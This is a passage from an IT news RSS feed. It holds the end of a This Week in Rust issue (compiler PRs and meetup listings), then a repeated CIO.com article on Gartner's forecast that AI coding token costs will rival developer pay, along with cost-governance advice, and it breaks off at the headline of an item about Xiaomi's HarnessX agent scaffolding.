<li><a href="https://github.com/rust-lang/rust/issues/129436">Tracking Issue for <code>string_from_utf8_lossy_owned</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156508">Infer all anonymous lifetimes in assoc consts as <code>'static</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157820">consider subtyping when checking if an infer var is sized</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156749">remove <code>box_patterns</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156976">enable eager <code>param_env</code> norm in new solver</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/153563">Lint against iterator functions that panic when <code>N</code> is zero</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/issues/298">Start a t-project-structure/t-comprehensibility</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>,
<a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a>,
<a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a> or
<a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><em>No New or Updated RFCs were created this week.</em></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-06-24 - 2026-07-22 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-06-25 | Virtual (Girona, ES) | <a href="https://lu.ma/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/rust-girona?e=evt-rgneLvX1H85AmjV"><strong>Rust Girona Weekly Session</strong></a></li>
</ul>
</li>
<li>2026-07-01 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210366/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/308455932/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Virtual (Charlottesville, VA, US) | <a href="https://www.meetup.com/charlottesville-rust-meetup">Charlottesville Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/charlottesville-rust-meetup/events/315211402/"><strong>Learning Game Development the Hard Way with Rust and Bevy</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/313345243/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-07-04 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-05 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095287/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-07-07 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315060981/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-07-14 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254778/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045926/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314329045/"><strong>Rust Deep Learning: Third Sunday</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315102297/"><strong>Lunch &amp; Learn: Learning Rust as First Programming Language</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-18 | Bangalore, IN | <a href="https://hasgeek.com/rustbangalore">Rust Bangalore</a><ul>
<li><a href="https://hasgeek.com/rustbangalore/july-2026-rustacean-meetup/"><strong>July 2026 Rustacean Meetup</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-06-24 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315200163/"><strong>Rust Manchester June Talks</strong></a></li>
</ul>
</li>
<li>2026-06-24 | Trondheim, NO | <a href="https://www.meetup.com/rust-trondheim">Rust Trondheim</a><ul>
<li><a href="https://www.meetup.com/rust-trondheim/events/315298357/"><strong>The Chaos of Time and Time Intervals</strong></a></li>
</ul>
</li>
<li>2026-06-25 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/314396600/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-06-25 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315214426/"><strong>Rust meetup #69</strong></a></li>
</ul>
</li>
<li>2026-06-25 | Toulouse, FR | <a href="https://www.meetup.com/rust-community-toulouse/">Rust Toulouse</a><ul>
<li><a href="https://www.meetup.com/rust-community-toulouse/events/314947457/"><strong>Rust Toulouse Meetup - Bevy &amp; ESP32</strong></a></li>
</ul>
</li>
<li>2026-06-27 | Stockholm, SE | <a href="https://www.meetup.com/stockholm-rust">Stockholm Rust</a><ul>
<li><a href="https://www.meetup.com/stockholm-rust/events/315371143/"><strong>Ferris' Fika Forum #27</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Edinburgh, UK | <a href="https://www.meetup.com/rust-edi">Rust and Friends</a><ul>
<li><a href="https://www.meetup.com/rust-and-friends/events/314941098/"><strong>Bevy, Bits, &amp; Cats (Rust July Talks)</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Enschede, NL | <a href="https://www.meetup.com/dutch-rust-meetup">Baseflow Tech Meetups</a><ul>
<li><a href="https://www.meetup.com/baseflow-tech-meetups/events/315099547/"><strong>AI Summit</strong></a></li>
</ul>
</li>
<li>2026-07-08 | Dublin, IE | <a href="https://www.meetup.com/rust-dublin">Rust Dublin</a><ul>
<li><a href="https://www.meetup.com/rust-dublin/events/315150327/"><strong>Join us live and INPERSON for Rust 262</strong></a></li>
</ul>
</li>
<li>2026-07-09 | Switzerland, CH | <a href="https://www.posttenebraslab.ch/wiki/events/start">PostTenebrasLab</a><ul>
<li><a href="https://www.posttenebraslab.ch/wiki/events/monthly_meeting/rust_meetup"><strong>Rust Meetup Geneva</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-06-24 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/315105633/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-06-24 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/314386080/"><strong>Rust LA: Rust-Based Constraint Solvers in 2D Sketching with Zoo Technologies</strong></a></li>
</ul>
</li>
<li>2026-06-25 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539326/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-06-25 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/314825008/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-06-26 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315014582/"><strong>Rust NYC's Big Summer Social</strong></a></li>
</ul>
</li>
<li>2026-06-27 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225857/"><strong>Somerville Union Square Rust Lunch, June 27</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/315103359/"><strong>Git is easy?</strong></a></li>
</ul>
</li>
<li>2026-07-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225861/"><strong>Boston University Rust Lunch, July 4</strong></a></li>
</ul>
</li>
<li>2026-07-09 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696647/"><strong>Utah Rust July Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-11 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225865/"><strong>MIT Rust Lunch, July 11</strong></a></li>
</ul>
</li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-18 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225872/"><strong>North End Rust Lunch, July 18</strong></a></li>
</ul>
</li>
<li>2026-07-21 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997214/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-06-25 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039461/"><strong>Rust Melbourne June 2026</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Barton, AU | <a href="https://www.meetup.com/rust-canberra">Canberra Rust User Group</a><ul>
<li><a href="https://www.meetup.com/rust-canberra/events/315307280/"><strong>July Meetup</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>I think this is the wrong decision, and I wish the lang team had stabilized the Late type instead.
Better Late than Never.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1u1v53c/the_never_type_is_likely_to_stabilize_soon/oqsxf3v/">/u/CouteauBleu on /r/rust</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1782">Theemathas</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://this-week-in-rust.org/REDDIT_LINK_HERE">Discuss on r/rust</a></small></p>]]></content:encoded>
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<item>
<title><![CDATA[AI coding token costs are on track to rival human payroll]]></title>
<description><![CDATA[Enterprises may soon be paying as much for their developers’ AI token usage as they do for their salaries.



According to Gartner, these costs will meet, or even exceed, the typical software engineer’s monthly salary within the next two years.



This is not only because developers are increasin...]]></description>
<link>https://tsecurity.de/de/3623163/ai-nachrichten/ai-coding-token-costs-are-on-track-to-rival-human-payroll/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623163/ai-nachrichten/ai-coding-token-costs-are-on-track-to-rival-human-payroll/</guid>
<pubDate>Thu, 25 Jun 2026 03:18:27 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Enterprises may soon be paying as much for their developers’ AI token usage as they do for their salaries.</p>



<p><a href="https://www.gartner.com/en/newsroom/press-releases/2026-06-24-gartner-predicts-ai-coding-costs-will-surpass-average-developer-salary-by-2028-as-token-consumption-surges" target="_blank" rel="noreferrer noopener">According to Gartner</a>, these costs will meet, or even exceed, the typical software engineer’s monthly salary within the next two years.</p>



<p>This is not only because developers are increasingly adopting generative AI and <a href="https://www.cio.com/article/3603856/agentic-ai-promising-use-cases-for-business.html" target="_blank">agentic tools</a>, it reflects a trend toward consumption-based licensing models as vendors balance infrastructure investments with profitability. Rather than the flat per-seat <a href="https://www.computerworld.com/article/4131921/saas-isnt-dead-the-market-is-just-becoming-more-hybrid-2.html" target="_blank">SaaS model</a> of the past, enterprises now pay for developer token use as well.</p>



<p>Gartner senior principal analyst <a href="https://www.gartner.com/en/experts/nitish-tyagi" target="_blank" rel="noreferrer noopener">Nitish Tyagi</a> explained that it’s important to note that Gartner’s prediction is based on a global average salary of $2,000 per month; it doesn’t mean AI token usage will exceed all salaries. For instance, in the US, yearly pay rates can be six digits or more.</p>



<p>However, that kind of spend is not out of the realm of possibility, Tyagi emphasized. “I have heard scary numbers like ‘My developer consumed $20K last month,’ or ‘A business user consumed $32K’.”</p>



<p>If these amounts sound shocking, that’s the point. “The goal is to alarm the industry about the impact of token cost if it is not governed and controlled,” he said.</p>



<h2 class="wp-block-heading">Lack of visibility, immature oversight</h2>



<p>Enterprises are quickly moving from experimentation to scaled deployment of <a href="https://www.infoworld.com/article/4183153/why-ai-coding-debt-is-different.html" target="_blank">AI coding agents</a>, but many still underestimate token costs, Tyagi noted.</p>



<p>This is because cost structures for software engineering workloads are “highly variable,” he pointed out, and there isn’t a lot of transparency into how token consumption is calculated and billed.</p>



<p>AI coding vendors have yet to deliver “mature, built-in cost optimization capabilities,” Tyagi said, and prices will likely only continue to rise as vendors further build out their models while at the same time trying to remain profitable.</p>



<p>Thus, enterprises struggle to forecast and control costs, and, because AI is moving so fast, many organizations lack the “maturity and frameworks” to determine ROI, he noted. Agent-driven workflows are difficult to govern, context windows become bloated, budgets are wiped out earlier than anticipated, and token spend becomes hard to justify.</p>



<p>Added to this, light users such as non-developers will increase their usage as they become more familiar with, and even reliant on, AI tools, driving up token consumption and spend even more.</p>



<p>Tyagi said that, while AI is incredibly valuable, he sees no “direct relationship” between the number of tokens developers consume and their productivity gains. Rather, applying context engineering principles to optimize or reduce token consumption increases quality.</p>



<p>“<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html" target="_blank">Tokenmaxxing</a> is not directly related to higher productivity gains,” Tyagi said, “but optimizing token consumption is.”</p>



<p>Still, this in no way means that organizations should move away from AI coding agents, he emphasized. Optimizing token consumption simply means spending only as much as needed without compromising the quality and value brought by AI.</p>



<p>“Without a governed engineering operating model, costs can escalate faster than the productivity gains these tools are designed to deliver,” Tyagi said.</p>



<h2 class="wp-block-heading">How enterprises can control token usage</h2>



<p>The traditional ‘lines-of-code-written’ productivity metric no longer applies when AI can almost instantaneously produce entire Python libraries. Rather, value should be measured in quality, speed, and customer satisfaction metrics, Tyagi said.</p>



<p>For instance: How quickly are developers able to release important features? How much time is reduced between app development and feedback from business, product, and development teams? Shipping features quickly while maintaining quality can create competitive advantage and improve user and customer experience, he said.</p>



<p>Gartner also advises establishing strong governance and cost controls. For instance, introduce token thresholds, automate usage monitoring, and create explicit escalation policies.</p>



<p>“Embedding these controls into engineering workflows ensures consistency and prevents uncontrolled cost growth,” the firm notes.</p>



<p>In addition, enterprises should create a “use case driven” decision framework. This means clearly defining when AI coding agents should be used, and their appropriate levels of autonomy given certain tasks. Further, classify those tasks into three execution models: ‘developer‑led,’ ‘developer‑with‑agent’, and ‘fully agent‑led.’</p>



<p>Enterprises should also select models based on task complexity. Break work into smaller tasks that can be performed by smaller models, “with escalation only when complexity demands it,” Gartner advises. Engineering teams should route workflows deliberately, directing simpler, high-frequency tasks to smaller models and using frontier models only for complex and high-value work.</p>



<p>Another cost saving tactic is mandating specific context engineering practices, the firm says. Developers should be trained to optimize the context they input to AI, including only the information that’s relevant, summarizing that content as much as possible, and eliminating unnecessary data.</p>



<p>Further, teams should embed token usage reviews into development cycles. Regular review of high token consuming workflows can help identify inefficiencies, refine practices, and support collaboration, Gartner says.</p>



<p>Tyagi noted that developers tend to optimize for speed and convenience rather than cost efficiency, so token discipline cannot be achieved through developer choice alone.</p>



<p>His advice for leaders: Do not treat escalating AI coding costs as a reason to move away from AI, or to shift to open generative AI models for everything. “The goal is always to optimize costs without compromising the value.”</p>



<p>Start small, and focus on context engineering first, he said. Assess your current software engineering maturity and select the appropriate agent autonomy. AI assistive development can provide up to 20% productivity gains, “which is not a bad number.”</p>



<p>For developers, he advises: “Target context engineering as one of the most important <a href="https://www.cio.com/article/2128415/generative-ai-certifications-and-certificate-programs.html" target="_blank">skills for yourself</a>. This is not only going to help your employer, but also your career.”</p>



<p><em>This article originally appeared on <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html" target="_blank">CIO.com</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[AI coding token costs are on track to rival human payroll]]></title>
<description><![CDATA[Enterprises may soon be paying as much for their developers’ AI token usage as they do for their salaries.



According to Gartner, these costs will meet, or even exceed, the typical software engineer’s monthly salary within the next two years.



This is not only because developers are increasin...]]></description>
<link>https://tsecurity.de/de/3623145/it-nachrichten/ai-coding-token-costs-are-on-track-to-rival-human-payroll/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623145/it-nachrichten/ai-coding-token-costs-are-on-track-to-rival-human-payroll/</guid>
<pubDate>Thu, 25 Jun 2026 02:47:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Enterprises may soon be paying as much for their developers’ AI token usage as they do for their salaries.</p>



<p><a href="https://www.gartner.com/en/newsroom/press-releases/2026-06-24-gartner-predicts-ai-coding-costs-will-surpass-average-developer-salary-by-2028-as-token-consumption-surges" target="_blank" rel="nofollow">According to Gartner</a>, these costs will meet, or even exceed, the typical software engineer’s monthly salary within the next two years.</p>



<p>This is not only because developers are increasingly adopting generative AI and <a href="https://www.cio.com/article/3603856/agentic-ai-promising-use-cases-for-business.html" target="_blank">agentic tools</a>, it reflects a trend toward consumption-based licensing models as vendors balance infrastructure investments with profitability. Rather than the flat per-seat <a href="https://www.computerworld.com/article/4131921/saas-isnt-dead-the-market-is-just-becoming-more-hybrid-2.html" target="_blank">SaaS model</a> of the past, enterprises now pay for developer token use as well.</p>



<p>Gartner senior principal analyst <a href="https://www.gartner.com/en/experts/nitish-tyagi" target="_blank" rel="nofollow">Nitish Tyagi</a> explained that it’s important to note that Gartner’s prediction is based on a global average salary of $2,000 per month; it doesn’t mean AI token usage will exceed all salaries. For instance, in the US, yearly pay rates can be six digits or more.</p>



<p>However, that kind of spend is not out of the realm of possibility, Tyagi emphasized. “I have heard scary numbers like ‘My developer consumed $20K last month,’ or ‘A business user consumed $32K’.”</p>



<p>If these amounts sound shocking, that’s the point. “The goal is to alarm the industry about the impact of token cost if it is not governed and controlled,” he said.</p>



<h2 class="wp-block-heading">Lack of visibility, immature oversight</h2>



<p>Enterprises are quickly moving from experimentation to scaled deployment of <a href="https://www.infoworld.com/article/4183153/why-ai-coding-debt-is-different.html" target="_blank">AI coding agents</a>, but many still underestimate token costs, Tyagi noted.</p>



<p>This is because cost structures for software engineering workloads are “highly variable,” he pointed out, and there isn’t a lot of transparency into how token consumption is calculated and billed.</p>



<p>AI coding vendors have yet to deliver “mature, built-in cost optimization capabilities,” Tyagi said, and prices will likely only continue to rise as vendors further build out their models while at the same time trying to remain profitable.</p>



<p>Thus, enterprises struggle to forecast and control costs, and, because AI is moving so fast, many organizations lack the “maturity and frameworks” to determine ROI, he noted. Agent-driven workflows are difficult to govern, context windows become bloated, budgets are wiped out earlier than anticipated, and token spend becomes hard to justify.</p>



<p>Added to this, light users such as non-developers will increase their usage as they become more familiar with, and even reliant on, AI tools, driving up token consumption and spend even more.</p>



<p>Tyagi said that, while AI is incredibly valuable, he sees no “direct relationship” between the number of tokens developers consume and their productivity gains. Rather, applying context engineering principles to optimize or reduce token consumption increases quality.</p>



<p>“<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html" target="_blank">Tokenmaxxing</a> is not directly related to higher productivity gains,” Tyagi said, “but optimizing token consumption is.”</p>



<p>Still, this in no way means that organizations should move away from AI coding agents, he emphasized. Optimizing token consumption simply means spending only as much as needed without compromising the quality and value brought by AI.</p>



<p>“Without a governed engineering operating model, costs can escalate faster than the productivity gains these tools are designed to deliver,” Tyagi said.</p>



<h2 class="wp-block-heading">How enterprises can control token usage</h2>



<p>The traditional ‘lines-of-code-written’ productivity metric no longer applies when AI can almost instantaneously produce entire Python libraries. Rather, value should be measured in quality, speed, and customer satisfaction metrics, Tyagi said.</p>



<p>For instance: How quickly are developers able to release important features? How much time is reduced between app development and feedback from business, product, and development teams? Shipping features quickly while maintaining quality can create competitive advantage and improve user and customer experience, he said.</p>



<p>Gartner also advises establishing strong governance and cost controls. For instance, introduce token thresholds, automate usage monitoring, and create explicit escalation policies.</p>



<p>“Embedding these controls into engineering workflows ensures consistency and prevents uncontrolled cost growth,” the firm notes.</p>



<p>In addition, enterprises should create a “use case driven” decision framework. This means clearly defining when AI coding agents should be used, and their appropriate levels of autonomy given certain tasks. Further, classify those tasks into three execution models: ‘developer‑led,’ ‘developer‑with‑agent’, and ‘fully agent‑led.’</p>



<p>Enterprises should also select models based on task complexity. Break work into smaller tasks that can be performed by smaller models, “with escalation only when complexity demands it,” Gartner advises. Engineering teams should route workflows deliberately, directing simpler, high-frequency tasks to smaller models and using frontier models only for complex and high-value work.</p>



<p>Another cost saving tactic is mandating specific context engineering practices, the firm says. Developers should be trained to optimize the context they input to AI, including only the information that’s relevant, summarizing that content as much as possible, and eliminating unnecessary data.</p>



<p>Further, teams should embed token usage reviews into development cycles. Regular review of high token consuming workflows can help identify inefficiencies, refine practices, and support collaboration, Gartner says.</p>



<p>Tyagi noted that developers tend to optimize for speed and convenience rather than cost efficiency, so token discipline cannot be achieved through developer choice alone.</p>



<p>His advice for leaders: Do not treat escalating AI coding costs as a reason to move away from AI, or to shift to open generative AI models for everything. “The goal is always to optimize costs without compromising the value.”</p>



<p>Start small, and focus on context engineering first, he said. Assess your current software engineering maturity and select the appropriate agent autonomy. AI assistive development can provide up to 20% productivity gains, “which is not a bad number.”</p>



<p>For developers, he advises: “Target context engineering as one of the most important <a href="https://www.cio.com/article/2128415/generative-ai-certifications-and-certificate-programs.html" target="_blank">skills for yourself</a>. This is not only going to help your employer, but also your career.”</p>



<p></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Xiaomi's HarnessX rewrites its own AI scaffolding mid-task — and smaller models gain the most]]></title>
<description><![CDATA[As enterprise AI agents take on increasingly complex, long-horizon tasks, their performance is often restricted by their harness, the software scaffolding that connects the backbone LLM to its environment. Currently, harnesses are largely static and hand-crafted. Improving them is largely manual ...]]></description>
<link>https://tsecurity.de/de/3622616/it-nachrichten/xiaomis-harnessx-rewrites-its-own-ai-scaffolding-mid-task-and-smaller-models-gain-the-most/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622616/it-nachrichten/xiaomis-harnessx-rewrites-its-own-ai-scaffolding-mid-task-and-smaller-models-gain-the-most/</guid>
<pubDate>Wed, 24 Jun 2026 21:18:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
